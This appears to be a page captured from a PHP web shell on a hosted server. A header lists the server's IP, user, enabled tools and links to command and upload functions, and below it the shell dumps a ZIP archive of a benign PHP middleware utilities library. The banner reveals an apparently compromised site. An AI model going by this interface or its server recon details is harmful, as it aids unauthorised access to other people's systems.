Server IP : 213.176.29.180 / Your IP : 3.133.136.95 Web Server : Apache System : Linux 213.176.29.180.hostiran.name 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64 User : webtaragh ( 1001) PHP Version : 8.3.14 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/webtaragh/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
PK ��$Zu��� utils/CONTRIBUTING.mdnu �[��� # Contributing Guide This project adheres to [The Code Manifesto](http://codemanifesto.com) as its guidelines for contributor interactions. ## The Code Manifesto We want to work in an ecosystem that empowers developers to reach their potential--one that encourages growth and effective collaboration. A space that is safe for all. A space such as this benefits everyone that participates in it. It encourages new developers to enter our field. It is through discussion and collaboration that we grow, and through growth that we improve. In the effort to create such a place, we hold to these values: 1. **Discrimination limits us.** This includes discrimination on the basis of race, gender, sexual orientation, gender identity, age, nationality, technology and any other arbitrary exclusion of a group of people. 2. **Boundaries honor us.** Your comfort levels are not everyone’s comfort levels. Remember that, and if brought to your attention, heed it. 3. **We are our biggest assets.** None of us were born masters of our trade. Each of us has been helped along the way. Return that favor, when and where you can. 4. **We are resources for the future.** As an extension of #3, share what you know. Make yourself a resource to help those that come after you. 5. **Respect defines us.** Treat others as you wish to be treated. Make your discussions, criticisms and debates from a position of respectfulness. Ask yourself, is it true? Is it necessary? Is it constructive? Anything less is unacceptable. 6. **Reactions require grace.** Angry responses are valid, but abusive language and vindictive actions are toxic. When something happens that offends you, handle it assertively, but be respectful. Escalate reasonably, and try to allow the offender an opportunity to explain themselves, and possibly correct the issue. 7. **Opinions are just that: opinions.** Each and every one of us, due to our background and upbringing, have varying opinions. That is perfectly acceptable. Remember this: if you respect your own opinions, you should respect the opinions of others. 8. **To err is human.** You might not intend it, but mistakes do happen and contribute to build experience. Tolerate honest mistakes, and don't hesitate to apologize if you make one yourself. ## How to contribute This is a collaborative effort. We welcome all contributions submitted as pull requests. (Contributions on wording & style are also welcome.) ### Bugs A bug is a demonstrable problem that is caused by the code in the repository. Good bug reports are extremely helpful – thank you! Please try to be as detailed as possible in your report. Include specific information about the environment – version of PHP, etc, and steps required to reproduce the issue. ### Pull Requests Good pull requests – patches, improvements, new features – are a fantastic help. Before create a pull request, please follow these instructions: * The code must follow the [PSR-2 Coding Standard](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-2-coding-style-guide.md). Run `composer cs-fix` to fix your code before commit. * Write tests * Document any change in `README.md` and `CHANGELOG.md` * One pull request per feature. If you want to do more than one thing, send multiple pull request ### Runing tests ```sh composer test ``` PK ��$Z��`�T T utils/phpcs.xmlnu �[��� <?xml version="1.0"?> <ruleset name="Middlewares coding standard"> <description>Middlewares coding standard</description> <!-- display progress --> <arg value="p"/> <arg name="colors"/> <!-- coding standard --> <rule ref="PSR2"/> <!-- Paths to check --> <file>src</file> <file>tests</file> </ruleset> PK ��$Z9%� � utils/src/CallableMiddleware.phpnu �[��� <?php namespace Middlewares\Utils; use Psr\Http\Message\ServerRequestInterface; use Psr\Http\Message\ResponseInterface; use Interop\Http\ServerMiddleware\MiddlewareInterface; use Interop\Http\ServerMiddleware\DelegateInterface; class CallableMiddleware implements MiddlewareInterface { /** * @var callable */ private $handler; /** * Constructor. * * @param callable $handler */ public function __construct(callable $handler) { $this->handler = $handler; } /** * Process a server request and return a response. * * @param ServerRequestInterface $request * @param DelegateInterface $delegate * * @return ResponseInterface */ public function process(ServerRequestInterface $request, DelegateInterface $delegate) { return CallableHandler::execute($this->handler, [$request, $delegate]); } } PK ��$Z�� �� � utils/src/UriFactory.phpnu �[��� <?php namespace Middlewares\Utils; use Interop\Http\Factory\UriFactoryInterface; /** * Simple class to create instances of PSR-7 uri. */ class UriFactory implements UriFactoryInterface { /** * {@inheritdoc} */ public function createUri($uri = '') { if (class_exists('Zend\\Diactoros\\Uri')) { return new \Zend\Diactoros\Uri($uri); } if (class_exists('GuzzleHttp\\Psr7\\Uri')) { return new \GuzzleHttp\Psr7\Uri($uri); } if (class_exists('Slim\\Http\\Uri')) { return \Slim\Http\Uri::createFromString($uri); } throw new \RuntimeException('Unable to create an uri. No PSR-7 uri library detected'); } } PK ��$Z��^� � 0 utils/src/CallableResolver/ContainerResolver.phpnu �[��� <?php namespace Middlewares\Utils\CallableResolver; use Interop\Container\ContainerInterface; use RuntimeException; /** * Resolve a callable using a container. */ final class ContainerResolver extends Resolver { /** * @var ContainerInterface */ private $container; public function __construct(ContainerInterface $container) { $this->container = $container; } public function resolve($callable, array $args = []) { if (is_string($callable)) { $callable = $this->resolveString($callable); } if (is_string($callable)) { $callable = $this->container->get($callable); } elseif (is_array($callable) && is_string($callable[0])) { $callable[0] = $this->container->get($callable[0]); } if (is_callable($callable)) { return $callable; } throw new RuntimeException('Invalid callable provided'); } } PK ��$Z���qo o 1 utils/src/CallableResolver/ReflectionResolver.phpnu �[��� <?php namespace Middlewares\Utils\CallableResolver; use ReflectionClass; use ReflectionMethod; use RuntimeException; /** * Resolve a callable using reflection. */ final class ReflectionResolver extends Resolver { public function resolve($callable, array $args = []) { if (is_string($callable)) { $callable = $this->resolveString($callable); } if (is_string($callable)) { if (!function_exists($callable)) { $callable = $this->createClass($callable, $args); } } elseif (is_array($callable) && is_string($callable[0])) { list($class, $method) = $callable; $refMethod = new ReflectionMethod($class, $method); if (!$refMethod->isStatic()) { $class = $this->createClass($class, $args); $callable = [$class, $method]; } } if (is_callable($callable)) { return $callable; } throw new RuntimeException('Invalid callable provided'); } /** * Create a new class. * * @param string $class * @param array $args * * @return object */ private function createClass($class, $args = []) { if (!class_exists($class)) { throw new RuntimeException("The class {$class} does not exists"); } $refClass = new ReflectionClass($class); if ($refClass->hasMethod('__construct')) { $instance = $refClass->newInstanceArgs($args); } else { $instance = $refClass->newInstance(); } return $instance; } } PK ��$ZR�Z� � 8 utils/src/CallableResolver/CallableResolverInterface.phpnu �[��� <?php namespace Middlewares\Utils\CallableResolver; use RuntimeException; /** * Simple interface to resolve callableish values. */ interface CallableResolverInterface { /** * Resolves a callable. * * @param mixed $callable * @param array $args * * @throws RuntimeException If it's not callable * * @return callable */ public function resolve($callable, array $args = []); } PK ��$Zk+�B B '